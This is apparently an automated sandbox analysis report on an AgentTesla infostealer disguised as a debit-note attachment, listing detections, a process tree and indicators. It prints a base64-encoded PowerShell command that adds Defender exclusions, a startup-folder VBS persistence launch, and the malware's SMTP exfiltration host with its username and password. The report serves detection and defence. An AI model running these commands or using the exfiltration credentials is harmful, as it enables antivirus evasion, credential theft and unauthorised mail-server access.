Edit tour

Windows Analysis Report
Debit note -MSR_2024_0024- and Attachments.com.exe

Overview

General Information

Sample name:	Debit note -MSR_2024_0024- and Attachments.com.exe
Analysis ID:	1591184
MD5:	58a83cbfbd24495d3427075426c7bb6c
SHA1:	3b3ef5d4ab2adc7824dd7ec26e8cc569f03e5189
SHA256:	cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226
Tags:	comexeuser-cocaman
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

AI detected suspicious sample

Drops VBS files to the startup folder

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Debit note -MSR_2024_0024- and Attachments.com.exe (PID: 6972 cmdline: "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe" MD5: 58A83CBFBD24495D3427075426C7BB6C)

cmd.exe (PID: 3940 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3384 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

powershell.exe (PID: 2828 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3624 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

InstallUtil.exe (PID: 5308 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 2308 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5408 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

wscript.exe (PID: 2196 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

app.exe (PID: 5844 cmdline: "C:\Users\user\AppData\Roaming\app.exe" MD5: 58A83CBFBD24495D3427075426C7BB6C)

cmd.exe (PID: 5356 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2232 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 7116 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 4092 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7132 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1941025623.0000000006D20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000013.00000002.2932475445.000000000257E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2109812273.00000000027DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 5308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5308	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: app.exe PID: 5844	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: app.exe PID: 5844	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: app.exe PID: 5844	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: app.exe PID: 5844	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7116	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7116	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.6d20000.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.6d20000.4.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.InstallUtil.exe.7b0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.InstallUtil.exe.7b0000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3173d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31859:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31935:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a5b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.InstallUtil.exe.7b0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe", ParentImage: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe, ParentProcessId: 6972, ParentProcessName: Debit note -MSR_2024_0024- and Attachments.com.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 3940, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe", ParentImage: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe, ParentProcessId: 6972, ParentProcessName: Debit note -MSR_2024_0024- and Attachments.com.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZ

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs" , ProcessId: 2196, ProcessName: wscript.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe", ParentImage: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe, ParentProcessId: 6972, ParentProcessName: Debit note -MSR_2024_0024- and Attachments.com.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZ

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.175.148.58, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 5308, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49740

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

